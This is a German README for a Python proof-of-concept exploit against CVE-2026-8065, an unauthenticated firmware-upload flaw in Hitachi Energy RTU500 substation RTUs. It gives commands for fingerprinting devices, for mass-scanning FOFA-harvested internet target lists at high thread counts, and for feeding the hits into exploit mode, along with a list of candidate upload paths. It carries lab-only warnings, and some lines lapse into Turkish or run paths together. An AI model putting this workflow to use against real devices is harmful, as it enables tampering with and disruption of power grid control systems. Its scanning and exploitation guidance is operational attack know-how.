
Python-PoC für CVE-2026-8065: Fingerprinting von Hitachi Energy RTU500-Geräten und Prüfung von Firmware-Update-Endpunkten auf nicht authentifizierte Uploads, mit den Modi Check, Exploit und Massenscan.
Python-3-PoC für CVE-2026-8065 — Hitachi Energy RTU500 Series CMU Firmware — Authentifizierungsumgehung (CWE-306) am HTTP-Endpunkt für Firmware-Updates. CVSS 3.1 9.1 Kritisch (IoT/OT).
| PoCbit | https://pocbit.org/pocs/cve-2026-8065 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-8065 |
| Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-306 Fehlende Authentifizierung für kritische Funktion |
| Auswirkung | Nicht authentifizierter beliebiger Firmware-Upload → Integrität / Verfügbarkeit des Umspannwerk-RTU |
RTU500 ist die Familie der Remote Terminal Units (Fernwirkeinheiten), die im Bereich Energieübertragung/-verteilung eingesetzt wird; die CMU-Firmware-Verwaltung erfolgt über den Webserver. In CVE-2026-8065 wird der Firmware-Update-Endpunkt ohne Authentifizierung (oder durch Umgehung mittels crafted POST) erreichbar; ein Angreifer kann beliebige Firmware hochladen, die Gerätefunktion verändern, die Integrität beeinträchtigen oder DoS verursachen.
Dies bedeutet eine kritische OT-Auswirkung aus der Ferne mit PR:N im Automatisierungsnetz — Tests dürfen nur in einem autorisierten Isolationslabor oder im Rahmen eines herstellerfreigegebenen Pentests durchgeführt werden.
Betroffener Hersteller (CNA): RTU500 Series CMU Firmware — Versionszweige 9.0 und 12.0 (kundenspezifische Versionierung; siehe aktuelle Advisory- und 13.8.2+-Patch-Hinweise).
Hitachi Energy hat CVE-2026-8065 zugewiesen (veröffentlicht am 2026-09-29):
Eine Authentifizierungsumgehungs-Schwachstelle im Firmware-Update-Endpunkt von Hitachi Energy RTU500 ermöglicht es einem nicht authentifizierten Angreifer, beliebige Firmware über eine manipulierte POST-Anfrage hochzuladen.
Anders als bei CVE-2024-2617 (authentifizierter Benutzer umgeht sichere Aktualisierung, wenn deaktiviert), handelt es sich bei CVE-2026-8065 um nicht authentifizierten Zugriff auf die Update-Funktion selbst — eine vollständige CWE-306-Lücke an einer sicherheitskritischen OT-Oberfläche.
Öffentliche Sicherheitshinweise führen möglicherweise noch nicht die genaue URI auf; die RTU500-Dokumentation beschreibt die Firmware-Verarbeitung über Configuration Management / Dateiübertragung des Webservers. Dieser PoC fingerprintet RTU500 und probt eine kuratierte Liste wahrscheinlicher Firmware-POST-Pfade und sendet dann (im Exploit-Modus) einen Nicht-Produktions-Probe-Blob (POCBIT-8065-FW-PROBE), um nicht authentifizierte Akzeptanz-Antworten zu erkennen.
| Modus | Verhalten |
|---|---|
| check | Multi-Port-HTTP(S)-Probe, RTU500-HTML-Marker, CMU-Versions-Regex, GET-Probe auf Firmware-Pfade |
| exploit | POST Multipart-Fake-.fw ohne Session-Cookie; exploited, wenn 2xx + Akzeptanz-Heuristiken |
| mass | --list + -j; hits.txt / exploited.txt |
--dry-run | Exploit: nur GET-Firmware-Pfad-Probe (kein POST) |
--lab | Lokaler Mock-RTU500 — muss exploited: true anzeigen (Plausibilitätsprüfung) |
--force | Exploit ohne RTU500-HTML-Fingerprint |
--firmware-paths | Pfadliste überschreiben (kommagetrennt), wenn der Herstellerpfad bekannt ist |
JSONL: pocbit, pocbit_catalog, pocbit_page, cve, vendor, product.
Sicherheit: Die Standard-Exploit-Nutzlast ist kein gültiges CMU-Flash-Image — nur ein Marker + Padding zur Erkennung. Richten Sie den Exploit-Modus niemals auf live betriebene Netzausrüstung, ohne Isolierung und Abstimmung mit dem Hersteller.
cd CVE-2026-8065
pip install -r requirements.txt
python poc.py -u https://192.168.1.10 --mode check
python poc.py -u https://192.168.1.10 --mode exploit --dry-run
python poc.py -u https://192.168.1.10 --mode exploit
python poc.py -u https://192.168.1.10 --mode exploit --firmware-paths /api/firmware/update
Bulk standardmäßig aktiviert mit --list --mode check: 1–2 GET pro Ziel (Listen-URL + ggf. http/https), kein Scannen von 16 Firmware-Pfaden, kurzes Timeout (4s connect, 10s read), standardmäßig -j 32.
python _format_fofa.py fofa_csv_1000.csv
python poc.py --list fofa_targets_rtu_priority.txt --mode check -j 40
python poc.py --list fofa_csv_1000.csv --mode check -j 50 --timeout 8
python poc.py --list targets.txt --mode check --full -j 20 # yavaş: çoklu port + tüm firmware GET
python poc.py --list hits.txt --mode exploit -j 8 --timeout 25
Fortschritt in der CLI: [done/total hedef/s]; Hits werden sofort als HIT ausgegeben.
Die FOFA-Liste cert="Hitachi" ist sehr verrauscht; scannen Sie im CSV zuerst die Priority-Liste mit rtu_priority. Check hit ≠ echtes RTU: Unternehmens-SPAs, auf deren Seite nur hitachi energy vorkommt, werden zu vendor_branding_only / vendor_branding_spa_false_positive; für einen Exploit ist ein starker Fingerprint wie rtu500 / rtutil500 / cmu firmware erforderlich (andernfalls --force).
python poc.py --lab
python poc.py --list fofa_targets_rtu_priority.txt --mode check --full -j 20
python poc.py --list hits.txt --mode exploit --dry-run -j 8
PoC rotiert (GET-Prüfung / POST-Exploit):
/api/firmware/update, /api/firmware/upload, /api/v1/firmware/update/firmware/update, /firmware/upload, /ws/firmware/update/CMU/firmware/upload, /ConfigurationManagement/Firmware/configuration/management/firmware, /FileUpload/Firmware/scripts/firmwareUpload, /cgi-bin/firmware, /admin/firmware/uploadWenn Hitachi den genauen Pfad veröffentlicht, setzen Sie --firmware-paths auf genau diese URI.